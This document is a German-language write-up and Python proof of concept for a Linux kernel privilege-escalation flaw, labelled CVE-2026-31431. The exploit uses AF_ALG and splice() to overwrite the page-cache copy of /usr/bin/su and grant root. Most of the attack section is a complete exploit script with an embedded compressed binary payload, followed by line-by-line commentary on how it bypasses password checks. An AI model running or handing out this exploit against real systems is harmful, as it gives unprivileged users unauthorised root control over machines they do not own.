
Exploit-PoC für CVE-2026-31431, der AF_ALG und splice() verwendet, um den Linux-Page-Cache zu überschreiben und /usr/bin/su im Speicher zu patchen, wodurch nicht privilegierte Benutzer Root-Zugriff erhalten.
Anstatt dass das System Dateien ständig direkt von der langsamen physischen Festplatte holt – was viel Zeit verschwendet – erstellt das Linux-System eine temporäre Kopie der Datei im RAM, die als Page Cache bekannt ist. Dadurch kann das System die Datei nahezu augenblicklich ausführen und lesen, vollständig im RAM.
Dieser Prozess beruht auf zwei Schlüsselfunktionen:
AF_ALG: Zuständig für die Abwicklung von Krypto-/Verschlüsselungsoperationen für Dateien und Daten innerhalb des Kernels.
splice(): Zuständig für das direkte Verschieben von Daten von einem Speicherort zu einem anderen mit extrem hoher Geschwindigkeit (Zero-Copy).
Der Exploit manipuliert diese beiden Funktionen. Wenn das System versucht, die Datei im Speicher zu verarbeiten und auszuführen, trifft es auf injizierten Payload-Code. Da der Linux-Kernel selbst die Speicherverwaltung übernimmt, ahnt er nie, dass dort ein Logikfehler oder eine unzulässige Modifikation stattgefunden hat.
Zusammenfassung: Die Schwachstelle manipuliert den Speicher, um die Verschlüsselung/Prüfungen der Zieldatei zu umgehen. Anschließend überschreibt sie bestimmte 4-Byte-Anweisungen im Speicher, sodass jedem unprivilegierten Benutzer sofort Root-Zugriff gewährt wird – wobei der gesamte Vorgang direkt vom Kernel ausgeführt wird.
Python
#!/usr/bin/env python3
import os as g, zlib, socket as s
def d(x): return bytes.fromhex(x)
def c(f, t, c):
a = s.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64))
v(h, 5, None, 4)
u, _ = a.accept()
o = t + 4
i = d('00')
u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0)
n(r, u.fileno(), o)
try: u.recv(8 + t)
except: 0
f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i < len(e):
c(f, i, e[i:i+4])
i += 4
g.system("su")
e = zlib.decompress(d("78daab77..."))
Diese Zeile extrahiert die komprimierte Hex-Payload. Man kann sich diese Payload als Injektionsvektor vorstellen, der dazu dient, Root-Rechte zu verleihen. Sie wandelt die Hex-Daten in rohe Bytes um, damit sie in den RAM geschrieben werden können, um die Passwortauthentifizierung zu umgehen.
a = s.socket(38, 5, 0) , n(f, w, o) , n(r, u.fileno(), o)
Das Skript öffnet ein schreibgeschütztes Handle auf die Binärdatei /usr/bin/su (die ausführbare Datei, die für den Benutzerrechtewechsel zuständig ist). Es richtet einen AF_ALG-Socket ein (AF_ALG-ID = 38) und verwendet den Systemaufruf splice(), um die Speicherseiten von /usr/bin/su direkt in die Crypto-Engine des Kernels zu streamen.
Kernel-Speicherüberschreibung:
Aufgrund des Fehlers im Crypto-Modul des Kernels (algif_aead) wird der Kernel während des Vorgangs ausgetrickst. Anstatt die verarbeitete Ausgabe in einen normalen temporären Puffer zu schreiben, schreibt er die Payload direkt über die im RAM gespeicherte Seite der Binärdatei /usr/bin/su (Page Cache).
while i < len(e): c(f, i, e[i:i+4]); i += 4 & g.system("su")
Das Skript führt eine Schleife aus, die die Payload jeweils 4 Bytes in aufeinanderfolgende Speicheroffsets schreibt. Sobald die Schleife das Patchen der Anweisung im RAM abgeschlossen hat, führt sie su aus. Da der Kernel nun den modifizierten Code im Speicher ausführt, werden Passwortprüfungen umgangen, wodurch jedem, der den Befehl ausführt, Root-Zugriff gewährt wird.